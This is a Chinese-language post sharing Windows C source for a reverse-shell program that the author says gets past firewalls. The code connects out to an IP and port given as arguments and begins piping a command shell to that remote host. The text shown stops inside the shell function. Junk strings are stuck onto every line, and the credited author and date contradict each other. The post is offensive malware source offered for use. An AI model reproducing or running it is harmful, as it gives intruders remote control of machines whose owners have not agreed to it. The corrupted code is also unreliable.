这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 0B=[80K;8
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/* ============================== exfmq
Rebound port in Windows NT A0G)imsW:_
By wind,2006/7 v`y6y8:>
===============================*/ _p\629`
#include L2KG0i`+
#include B?+.2
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#pragma comment(lib,"wsock32.lib") >A-<ZS*N
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void OutputShell(); z"tjDP
SOCKET sClient; )FRM_$t
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &J_Z~^
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void main(int argc,char **argv) _@Y"$V]=Vt
{ t)` p@]j
WSADATA stWsaData; >ajuk
int nRet;
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SOCKADDR_IN stSaiClient,stSaiServer; # kyl?E
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if(argc != 3) l71gf.4g
{ P''X_1oMC
printf("Useage:\n\rRebound DestIP DestPort\n"); @5WgqB
return; Ht#@'x
} J1bA2+5.*e
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WSAStartup(MAKEWORD(2,2),&stWsaData); ;6ky5}z
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vv6?V#{
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stSaiClient.sin_family = AF_INET; ibJHU@l
stSaiClient.sin_port = htons(0); Ow3P-UzU3
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); LOr|k8tL%
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )t:7_M3
{ ,_D"?o
printf("Bind Socket Failed!\n"); ZsZcQj6G,
return; $<|ocUC7
} nBN&.+3t
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stSaiServer.sin_family = AF_INET; _tAQ=eBO
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); pQMtj0(y
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ME^,'&
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) N
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{ QV qK
printf("Connect Error!"); /4$4h;_8
return; Q$ri=uB;+
} fQ+\;iAU
OutputShell(); BByCMY
} vMla'5|l
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void OutputShell() -Xz&}QA
{ y#v"GblM
char szBuff[1024]; FB:<zmwR
SECURITY_ATTRIBUTES stSecurityAttributes; 15{Y9!
OSVERSIONINFO stOsversionInfo; w~Ff%p@9
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; f[sF:f(zI
STARTUPINFO stStartupInfo; K-eY|n
char *szShell; ?":'O#E
PROCESS_INFORMATION stProcessInformation; T[?6[,.
unsigned long lBytesRead; la
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 93O;+Z5J
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); a%BeqSZh
stSecurityAttributes.lpSecurityDescriptor = 0; 1tMQqI`N
stSecurityAttributes.bInheritHandle = TRUE; k(%QIJH
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